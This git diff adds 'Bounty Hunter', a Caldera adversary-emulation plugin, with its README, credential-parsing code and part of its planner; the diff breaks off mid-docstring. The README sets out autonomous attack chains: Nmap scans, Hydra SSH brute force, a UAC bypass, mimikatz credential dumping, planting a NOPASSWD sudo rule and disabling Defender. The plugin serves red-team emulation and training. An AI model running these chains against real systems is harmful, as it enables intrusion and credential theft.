diff --git a/.gitignore b/.gitignore index 62c8935..2a28abb 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,5 @@ -.idea/ \ No newline at end of file +.idea/ + +# Unzipped Payloads +payloads/* +!payloads/payloads.zip \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..4875f8a --- /dev/null +++ b/README.md @@ -0,0 +1,224 @@ +# The Bounty Hunter + +The Bounty Hunter is a custom Caldera Plugin developed and implemented by Fraunhofer FKIE. +The biggest asset of the Bounty Hunter Plugin is the new Bounty Hunter Planner that allows the emulation of complete, realistic cyberattack chains. + +To get an idea of the Bounty Hunter's capabilities, its key features are described below. +Furthermore, since it might seem similar to existing Caldera planners at first glance, e.g., the Look-Ahead Planner, their differences are described as well. + +- **Weighted-Random Attack Behavior.** +The Bounty Hunter's attack behavior is goal-oriented and reward-driven, similar to the Look-Ahead Planner. +But, instead of picking the ability with the highest future reward value every time, it offers the possibility to pick the next ability weighted-randomly. +This adds an uncertainty to the planner's behavior which allows repeated runs of the same operation with completely different results. +This might be very useful in some cases, e.g., in training environments. + +- **Support for Initial Access and Privilege Escalation.** +At the moment, no Caldera planner offers support for Initial Access or Privilege Escalation methods. +The Bounty Hunter extends Caldera's capabilities by offering support for both in a fully autonomous manner. +This enables it to emulate complete cyberattack chains. + +- **Further Configurations for more sophisticated and realistic Attack Behavior.** +The Bounty Hunter offers various configuration parameters, e.g., "locking" abilities, reward updates, and final abilities, to customize the emulated attack behavior (see section "Bounty Hunter Configuration" below). +For example, the ability `Compress staged directory` can be configured as "locked" and only be "unlocked" by executing `Stage sensitive files` in order to prevent that an empty staging directory gets compressed and exfiltrated. +This example of how to use these parameters is described in more detail in the section "Locked Abilities and Manual Reward Updates". + +**Usage notes:** +- The initial access phase of the Bounty Hunter can be skipped by assigning the initial agent to the group `target`. +- Initial Access and Privilege Escalation methods are only implemented as "weak" proof of concept for Windows and Linux targets. + +The following sections are structured as follows: +First, a short installation guide is given. +Then, two examples are introduced that show how the Bounty Hunter can be used and what it is capable of. +The first example demonstrates the Bounty Hunter's initial access and privilege escalation capabilities and can be used as a guide on how to use it +The second example shows the high level of complexity of cyberattacks the Bounty Hunter can emulate. +Finally, a more detailed description of how the Bounty Hunter works, how it can be configured, and how it could be extended is given. + +# Installation + +- Download the plugin +- Copy the `bountyhunter` directory into `caldera/plugins` and enable the plugin in the Caldera server's configuration (`caldera/conf/.yml`) +- Install requirements: `pip install -r requirements.txt` +- Unzip `caldera/plugins/bountyhunter/payloads/payloads.zip` to `caldera/plugins/bountyhunter/payloads` +- Remember to add the `--build` flag when starting the Caldera server with the Bounty Hunter for the first time + +# Emulating complete, realistic Cyberattacks with the Bounty Hunter + +The following two sections describe two examples how the Bounty Hunter can be used and what it is capable of. +The first example shows how the initial access and privilege escalation capabilities of the Bounty Hunter can be tested using demo adversaries and abilities. +In the second section an example attack based on an APT29 campaign is presented that shows the high level of complexity of cyberattacks the Bounty Hunter can emulate. + +## Scenario #1 - Initial Access and Privilege Escalation +The following section describes how to emulate a complete, realistic cyberattack chain using the Bounty Hunter and can be used as a guide for getting started with it. +To run an operation, start the Caldera server as usual. +As starting point, the Bounty Hunter uses a local Caldera agent, i.e., an agent that is running on a system initially controlled by the adversary. +Since some initial access abilities, e.g., the Nmap Port Scan (`8fcd3afb-75ca-40da-8bff-432abfb00fbb`), need root privileges, start the local agent with root/sudo. +The `Bounty Hunter Windows Initial Access and Privilege Escalation Tester` adversary and the Bounty Hunter's default configuration (`data/planners/e1bb9388-1845-495d-b67b-ad61a31ff6cd.yml`) were constructed to demonstrate the initial access and privilege escalation capabilities against a Windows or Linux target. + +Before running the operation, some configurations have to be done: +1. Configure fact `bountyhunter.ip_range`: Using the Caldera UI, configure the IP address range the bounty hunter should scan initially. +2. Put the username and password of a user on the target machine into `files/wordlists/passwords.txt` and `files/wordlists/users.txt` so that Hydra can successfully brute force the ssh credentials. +3. Check if the payloads in the payloads directory are unzipped. +4. Configure the IP address of the Caldera server in the initial access payload scripts, i.e., `start_agent_from_linux_target.sh` and `start_agent_from_windows_target.ps1`. + +For Linux Target: + +Edit sudoers file so that the user whose credentials are gathered using the ssh brute force can execute `sudo /bin/bash` without password (see example for metasploitable3 below). +This is a common weak configuration that will be used for the privilege escalation. +``` +(...) + +# Add weak configuration +jarjar_binks ALL=(ALL) NOPASSWD: /bin/bash +``` + +For Windows Target: +1. Update Caldera host in payload `bypassUAC.ps1`: Since this script starts a new Caldera agent that connects to the Caldera server, the IP address and port of the Caldera server have to be configured here. More information in the payload itself. +2. Update IP address value in payload `credDump.ps1`: Since this script downloads mimikatz from the Caldera server, the IP address and port of the Caldera server have to be configured here. More information in the payload itself. +3. Log in as the user we want to compromise so that the scheduled task will be executed during initial access. +4. Set up a Windows target with SSH enabled and set UAC to `Never Nofify`. Also disable Antivirus/Microsoft Defender (especially Real-time protection) since Caldera does not work with them running. + +After performing the configuration steps, a new operation can be started using the Bounty Planner and the demo adversary profile. +The expected results are shown in the figure below. +The operation should start with a Nmap host scan, followed by a Nmap port scan of the found IP addresses. +Since the Bounty Hunter found an open SSH port on the Windows machine, it decides to brute force the credentials. +With the found credentials, the `start_agent_from_windows_target.ps1` script is copied to the target via ssh/scp and executed using a scheduled task. +At this moment, the initial access step is done and the Bounty Hunter successfully started a new agent on the target. +Now, since the ability `Credential Dumping` (`a440211a-d2cc-4f89-a02d-a39061a0e697`) requires elevated privileges, the planner enters the privilege escalation phase. +Here a new agent is started using `UAC Bypass via sdctl` (`0220b3e7-9ba0-4529-abb4-52a70dc49b50`). +With the new agent, the Bounty Hunter can execute its goal ability: `Credential Dumping` (`a440211a-d2cc-4f89-a02d-a39061a0e697`). +Note how you can see the Bounty Hunter using the three different agents during the operation. + +![](assets/bountyhunter_example_operation.png) + +## Scenario #2 - Emulating an APT29 Campaign + +The Bounty Hunter Planner was tested using the APT29 Day 2 data from the [adversary emulation library](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/) of the Center for Threat Informed Defense. +The resulting attack chain including fact-links between abilities is shown in the figure below. +The test showed that the Bounty Hunter is able to initially access a Windows Workstation using SSH Brute Force, elevate its privileges automatically using a Windows UAC Bypass and finally compromise the whole domain using a Kerberos Golden Ticket Attack. +(Note: the attack steps are NOT part of the plugin but are included in the adversary emulation library!) +To achieve its goal, the planner was only provided with an adversary profile that includes all Caldera abilities in no certain order (including the APT29 Day 2 abilities), a high reward value of the final ability that executed a command using the Golden Ticket, and the name of the interface to scan initially. +All other information needed for the successful execution, including the Domain Name, Domain Admin Credentials, SID values, and NTLM hashes, were collected autonomously. + +![](assets/apt29day2bountyhunter.png) + +# Advanced Information and Configuration + +The following section go into more detail about how the Bounty Hunter works, how it can be configured, and how it could be extended. + +## Bounty Hunter Configuration + +The Bounty Hunter can be configured in many ways to further customize the emulated attack behavior. +The configuration can be viewed and edited in `bountyhunter/data/planners/e1bb9388-1845-495d-b67b-ad61a31ff6cd.yml`. +Furthermore, the configuration is displayed in the Bounty Hunter's user interface tab (`plugins -> bountyhunter`). +The configuration can also (partially) be edited using the user interface after pulling [this Caldera branch](https://github.com/L015H4CK/caldera/tree/feature-api-update-planner), which allows updating existing planners using Caldera's API. + +The following table lists the various parameters used by the Bounty Hunter including a short description and the default values. + +| Parameter | Description | Default Value | +|-----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------| +| weighted_random | Toggles weighted random attack behavior. If enabled, the next ability to execute is picked weighted-randomly depending on the abilities' reward values. If disabled, the ability with the highest reward is picked. | False | +| seed | Seed value to use for random decisions during the weighted-random attack behavior as well as the initial access and privilege escalation phases. Allows reproduction. | None | +| discount | Discount factor for future reward calculation. | 0.9 | +| depth | Recursive depth for future reward calculation. | 3 | +| default_reward | Default reward value for all abilities. | 1 | +| default_final_reward | Default reward value for all final abilities. Should be larger than the default_reward, so that the planner tries to pursuit them (more likely). | 1000 | +| default_reward_update | Default reward update value. After executing an ability all "following" abilities' (i.e., abilities that require facts that are collected by the executed ability) reward values are increased by this value. | 200 | +| final_abilities | List of final ability IDs. Operation stops when one of those abilities is executed. | None | +| locked_abilities | List of locked ability IDs. These abilities will not be executed until they are "unlocked" by increasing their ability reward. | None | +| ability_rewards | List of ability IDs and corresponding reward values. Allows further attack behavior customization. | None | +| reward_updates | List of custom reward update values per ability ID. Allows further attack behavior customization and "unlocking" abilities that are not logically (i.e., by facts) connected. | None | + +## Future Reward Calculation + +The future reward calculation is performed in the same way as in the Look-Ahead Planner. +It uses ability rewards (configured using the various ability reward parameters above) as well as the discount and depth parameters. +The ability rewards are directly used during the anticipated future reward calculation. +How far, i.e., how many abilities ahead, the Bounty Hunter uses ability rewards is controlled by the depth parameter while the discount factor controls how much influence future ability reward values have on the calculation. + +## Locked Abilities and Manual Reward Updates + +Locking abilities and performing manual reward updates enables the Bounty Hunter to perform more realistic, more sophisticated and customized attacks. +Consider the example adversary `Bounty Hunter - Locked Abilities Demonstrator` with the following abilities: `Find files`, `Stage sensitive files`, `Create staging directory`, `Compress staged directory`, and `Exfil staged directory`. +Also, the ability `Exfil staged directory` has a high reward value, e.g., `1000`. +When using Caldera's Look-Ahead Planner, the agent will execute the following attack chain: +- Create staging directory +- Compress staged directory +- Exfil staged directory +- Find files (x3) +- Stage sensitive files (for each found file) +- (...) + +This results in an empty directory being exfiltrated because it is the "shortest path to the goal" since it follows the highest future reward values. +Now, the Bounty Hunter can be configured to "lock" the `Compress staged directory` ability and only "unlock" it by executing the ability `Stage sensitive files`. +This means, it will only compress the staged directory after files have been staged. See example configuration below. + +``` +params: + final_abilities: + - ea713bc4-63f0-491c-9a6f-0b01d560b87e # exfiltrate staged directory + locked_abilities: + - 300157e5-f4ad-4569-b533-9d1fa0e74d74 # compress staged directory + reward_updates: + 4e97e699-93d7-4040-b5a3-2e906a58199e: # stage sensitive files + 300157e5-f4ad-4569-b533-9d1fa0e74d74: 1 # compress staged directory +``` + +Now, when running an operation using the Bounty Hunter and the above configuration, the following attack chain is generated and executed: +- Create staging directory +- Find files (3x) +- Stage sensitive files (3x) +- Compress staged directory +- Exfil staged directory + +As we can see, the resulting attack chain is more sophisticated and more realistic because the exfiltrated directory is not empty. +Furthermore, the planner automatically stops the operation after executing the goal ability, compared to the Look-Ahead Planner that continued with collecting and staging files after already exfiltrating. + +## Initial Access Agendas + +Initial Access Agendas are predefined ability chains that the Bounty Hunter uses during the Initial Access phase. +After scanning the potential targets, the agendas help the planner decide how to continue the operation. +Defining the agendas as ability chains allows more sophisticated scenarios than using the "classic" Caldera approach of using facts and requirements. +Also, during the Initial Access phase, the attacker's behavior should be more straight-forward instead of simply adding all abilities to the current adversary and letting the planner decide which ability to execute based on facts and requirements. +Each agenda should have the goal to start a new Caldera agent on the target machine. + +### Agenda Configuration +Agendas are defined in `bountyhunter/conf/agenda_mapping.json`. +Each agenda has a name, requirements and a list of ability IDs. +An agenda is considered "valid" if all its requirements are met. +At the moment, options for requirements are port, service_info and version_info, i.e., the facts gathered during the port scanning phase and parsed by the nmap parser. + +The following example agenda implements an SSH Brute Force Attack using Hydra. +As requirements, the target host must have an open port 22. +Three abilities are added to the running operation and executed: +1. `Get SSH credentials using Hydra brute force`: Uses Hydra and custom wordlists containing usernames and passwords to use. +2. `Copy start agent via scp over ssh`: Copies the `start_agent` script to the target machine using the gathered SSH credentials. +3. `Run start_agent script using known SSH credentials`: Executes the copied script in order to start a new Caldera agent. + +``` +{ + "agendas": [ + { + "name": "ssh bruteforce linux/windows", + "requirements": { + "port": "22" + }, + "ability_ids": [ + "85d6ce79-07ea-4ed4-b763-8a6f7d5591d7", + "6a49e8f3-0c00-436e-a848-06de496a942f", + "099ea47f-fa4d-4c2e-a089-601eefecb962" + ] + } + ] +} +``` + +To add a new agenda, implement the respective abilities, e.g., for exploiting a known vulnerability, and create a new entry in the `agendas` list. +Then, add the ability IDs, a name, and the requirements. +The Bounty Hunter will autonomously decide if an agenda is valid and will consider executing it during the Initial Access phase. + +# Contributing +We welcome any contributions, questions and ideas. +If you have any questions or want to contact us, feel free to open an issue or a pull request. + +# License +Released under Apache-2.0 license. For more information see LICENSE. \ No newline at end of file diff --git a/app/bountyhunter_svc.py b/app/bountyhunter_svc.py new file mode 100644 index 0000000..157f372 --- /dev/null +++ b/app/bountyhunter_svc.py @@ -0,0 +1,19 @@ +from aiohttp_jinja2 import template + +from app.utility.base_service import BaseService + + +class BountyHunterService(BaseService): + def __init__(self, services): + self.auth_svc = services.get('auth_svc') + self.file_svc = services.get('file_svc') + self.data_svc = services.get('data_svc') + self.contact_svc = services.get('contact_svc') + self.log = self.add_service('bountyhunter_svc', self) + + @template('bountyhunter.html') + async def splash(self, request): + abilities = [a for a in await self.data_svc.locate('abilities') if await a.which_plugin() == 'bountyhunter'] + adversaries = [a for a in await self.data_svc.locate('adversaries') if await a.which_plugin() == 'bountyhunter'] + return dict(abilities=abilities, adversaries=adversaries) + return dict() diff --git a/app/helper/agenda_helper.py b/app/helper/agenda_helper.py new file mode 100644 index 0000000..81e2ed0 --- /dev/null +++ b/app/helper/agenda_helper.py @@ -0,0 +1,86 @@ +from json import load + + +class Agenda: + def __init__(self, name, ability_ids, requirements): + self.name = name + self.ability_ids = ability_ids + self.requirements = [] + self._load_requirements(requirements) + + def _load_requirements(self, requirement_list): + for req_name in requirement_list: + self.requirements.append( + Requirement(req_name, requirement_list[req_name]) + ) + + def has_unfulfilled_requirements(self, port, service, info): + has_unfulfilled_requirements = False + + for req in self.requirements: + if not req.is_met(port, service, info): + has_unfulfilled_requirements = True + break + + return has_unfulfilled_requirements + + +class Requirement: + def __init__(self, name, value): + self.name = name + self.value = value + + def is_met(self, port, service, info): + if self.name == "port": + return self.value == port + elif self.name == "service": + return self.value == service + elif self.name == "info": + return self.value == info + + +class AgendaHelper: + def __init__(self, mapping_path="plugins/bountyhunter/conf/agenda_mapping.json"): + self._mapping_path = mapping_path + self.agendas = [] + self.valid_agendas = [] + + self._load_agendas_from_mapping() + + def _load_agendas_from_mapping(self): + agenda_mapping = _read_json_from_file(self._mapping_path) + + for agenda in agenda_mapping["agendas"]: + self.agendas.append(Agenda( + agenda["name"], + agenda["ability_ids"], + agenda["requirements"] + )) + + async def get_valid_agendas(self, ability_links): + for link in ability_links: + for fact in link.facts: + try: + port, service, info = fact.value.split("/", 2) + + for agenda in self.agendas: + if not agenda.has_unfulfilled_requirements(port, service, info): + await self._add_agenda(agenda) + except ValueError: + pass + + return self.valid_agendas + + async def _add_agenda(self, new_agenda): + for agenda in self.valid_agendas: + if agenda.name == new_agenda.name: + return + + self.valid_agendas.append(new_agenda) + + +def _read_json_from_file(path): + with open(path, "r") as f: + data = load(f) + + return data diff --git a/app/parsers/arp.py b/app/parsers/arp.py new file mode 100644 index 0000000..51fcafd --- /dev/null +++ b/app/parsers/arp.py @@ -0,0 +1,34 @@ +import ipaddress + +from app.objects.secondclass.c_fact import Fact +from app.objects.secondclass.c_relationship import Relationship +from app.utility.base_parser import BaseParser + + +class Parser(BaseParser): + + def parse(self, blob): + relationships = [] + for match in self.line(blob): + ip = self._locate_ip(match) + if ip: + for mp in self.mappers: + source = self.set_value(mp.source, ip, self.used_facts) + target = self.set_value(mp.target, ip, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + + return relationships + + @staticmethod + def _locate_ip(line): + try: + ip = line.split()[0] + ipaddress.IPv4Address(ip) + return ip + except Exception: + pass + return None diff --git a/app/parsers/hydra.py b/app/parsers/hydra.py new file mode 100644 index 0000000..ccdf79f --- /dev/null +++ b/app/parsers/hydra.py @@ -0,0 +1,48 @@ +from app.objects.secondclass.c_fact import Fact +from app.objects.secondclass.c_relationship import Relationship +from app.utility.base_parser import BaseParser + + +class Parser(BaseParser): + + def parse(self, blob): + relationships = [] + + for match in self.line(blob): + user, pwd = self._locate_creds(match) + + if user: + for mp in self.mappers: + # In case the SSH user is being parsed, create a new relationship between the user fact and the existing IP address + if mp.target=="host.ssh.user": + source = self.set_value(mp.source, user, self.used_facts) + target = self.set_value(mp.target, user, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + + # In case the SSH password is being parsed, create a new relationship between the password fact and the corresponding user + elif mp.target=="host.ssh.pwd": + source = self.set_value(mp.source, user, self.used_facts) + target = self.set_value(mp.target, pwd, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + + return relationships + + @staticmethod + def _locate_creds(line): + try: + line_split = line.split() + + if line_split[3] == "login:" and line_split[5] == "password:": + user, password = line_split[4], line_split[6] + return user, password + except Exception: + pass + return None, None diff --git a/app/parsers/nmap_host_scan.py b/app/parsers/nmap_host_scan.py new file mode 100644 index 0000000..6d07939 --- /dev/null +++ b/app/parsers/nmap_host_scan.py @@ -0,0 +1,35 @@ +from re import compile + +from app.objects.secondclass.c_fact import Fact +from app.objects.secondclass.c_relationship import Relationship +from app.utility.base_parser import BaseParser + + +class Parser(BaseParser): + + def parse(self, blob): + relationships = [] + for match in self.line(blob): + host = self._get_host(match) + if host: + for mp in self.mappers: + source = self.set_value(mp.source, host, self.used_facts) + target = self.set_value(mp.target, host, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + + return relationships + + @staticmethod + def _get_host(line): + pattern = compile("Nmap scan report for (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})") + + try: + if 'Nmap scan report for' in line: + return pattern.match(line).group(1) + except Exception: + pass + return None diff --git a/app/parsers/nmap_port_scan.py b/app/parsers/nmap_port_scan.py new file mode 100644 index 0000000..e61afa2 --- /dev/null +++ b/app/parsers/nmap_port_scan.py @@ -0,0 +1,55 @@ +from app.objects.secondclass.c_fact import Fact +from app.objects.secondclass.c_relationship import Relationship +from app.utility.base_parser import BaseParser + + +class Parser(BaseParser): + def parse(self, blob): + relationships = [] + for match in self.line(blob): + port = self._get_port(match) + os = self._get_os(match) + + for mp in self.mappers: + if port and mp.target == "host.ports.open": + source = self.set_value(mp.source, port, self.used_facts) + target = self.set_value(mp.target, port, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + elif os and mp.target == "host.os": + source = self.set_value(mp.source, os, self.used_facts) + target = self.set_value(mp.target, os, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + + return relationships + + @staticmethod + def _get_port(line): + try: + if "open" in line: + port = line.split()[0].split('/')[0] + service_info = line.split(None, 3)[2] + version_info = line.split(None, 3)[3] + return port + '/' + service_info + '/' + version_info + except Exception: + pass + return None + + @staticmethod + def _get_os(line): + try: + if "Service Info: " in line: + if "Windows" in line: + return "Windows" + elif "Linux" in line: + return "Linux" + except Exception: + pass + return None diff --git a/app/parsers/scp.py b/app/parsers/scp.py new file mode 100644 index 0000000..e7ec4ac --- /dev/null +++ b/app/parsers/scp.py @@ -0,0 +1,36 @@ +from app.objects.secondclass.c_fact import Fact +from app.objects.secondclass.c_relationship import Relationship +from app.utility.base_parser import BaseParser + + +class Parser(BaseParser): + + def parse(self, blob): + relationships = [] + for match in self.line(blob): + path = self._locate_path(match) + if path: + for mp in self.mappers: + source = self.set_value(mp.source, path, self.used_facts) + target = self.set_value(mp.target, path, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + + return relationships + + @staticmethod + def _locate_path(line): + try: + # scp output differs between different hosts/versions(?) + # Kali + if "scp: debug2: do_upload: upload local" in line: + return line.split("to remote")[1].replace('"', "").strip() + # Ubuntu 22.04 + elif "debug1: Sending command: scp -v -t" in line: + return line.split("-t ")[1] + except Exception: + pass + return None diff --git a/app/parsers/wmidump.py b/app/parsers/wmidump.py new file mode 100644 index 0000000..76ada15 --- /dev/null +++ b/app/parsers/wmidump.py @@ -0,0 +1,41 @@ +import re + +from app.objects.secondclass.c_fact import Fact +from app.objects.secondclass.c_relationship import Relationship +from app.utility.base_parser import BaseParser + + +class Parser(BaseParser): + + def parse(self, blob): + relationships = [] + + for match in self.line(blob): + cleartext_passwords = self._get_passwords(match) + + for cleartext_password in cleartext_passwords: + for mp in self.mappers: + source = self.set_value(mp.source, cleartext_password, self.used_facts) + target = self.set_value(mp.target, cleartext_password, self.used_facts) + relationships.append( + Relationship(source=Fact(mp.source, source), + edge=mp.edge, + target=Fact(mp.target, target)) + ) + + return relationships + + @staticmethod + def _get_passwords(line): + password_list=set() + + if "* Password :" in line: + pattern = re.compile(r"\s*\* Password : ") + split_results = pattern.split(line) + + for split_result in split_results: + if split_result and not split_result == "(null)": + password_list.add(split_result) + + return password_list + diff --git a/app/planners/bounty_hunter.py b/app/planners/bounty_hunter.py new file mode 100644 index 0000000..24cc2ad --- /dev/null +++ b/app/planners/bounty_hunter.py @@ -0,0 +1,565 @@ +from numpy.random import choice, seed + +from plugins.bountyhunter.app.helper.agenda_helper import AgendaHelper + + +class LogicalPlanner: + """ + The Bounty Hunter Planner is a custom Caldera Planner developed and implemented by Fraunhofer FKIE. + The general idea behind the Bounty Hunter's implementation was to support initial access and privilege escalation methods to allow the emulation of complete, realistic attack chains. + This kind of behavior is not supported by any other Caldera planner, at the moment. + Furthermore, it contributes a new attack behavior for Caldera adversaries. + It decides which ability to use next using the future_rewards() function introduced in the look ahead planner. + Instead of choosing the 'best ability' in every step, a weighted-random decision is made. + Furthermore, after every executed ability, rewards of other abilities are updated according to the planners configuration file and the abilities' relationship. + This way, the planner weighted-randomly chooses which abilities to execute and pursues one procedure more likely once it has started, i.e. use following abilities more likely. + The planner's behavior can be controlled using various parameters. + The 'final_abilities' is the most controlling parameter since it basically 'defines' which goal the adversary should pursue (most likely). + + The initial access phase of the Bounty Hunter can be skipped by assigning the initial agent to the group `target`. + For more information, see the planner''s README.md in `caldera/plugins/bountyhunter/`. + """ + + DEFAULT_FINAL_REWARD = 1000 + DEFAULT_REWARD = 1 + DEFAULT_REWARD_UPDATE = 200 + DEPTH = 3 + DISCOUNT = 0.9 + SEED = None + + def __init__(self, operation, planning_svc, stopping_conditions=(), + depth=DEPTH, discount=DISCOUNT, + default_reward=DEFAULT_REWARD, + default_final_reward=DEFAULT_FINAL_REWARD, + default_reward_update=DEFAULT_REWARD_UPDATE, + final_abilities=None, ability_rewards=None, locked_abilities=None, reward_updates=None, + seed=SEED, weighted_random=False + ): + """ + + :param operation: + :param planning_svc: + :param stopping_conditions: + :param depth: recursive depth of future reward function + :param discount: discount factor of future abilities + :param default_reward: default reward value for all abilities + :param default_final_reward: default reward value for all final abilities + :param default_reward_update: default reward update value for all abilities + :param final_abilities: list of final ability IDs + :param ability_rewards: list of ability 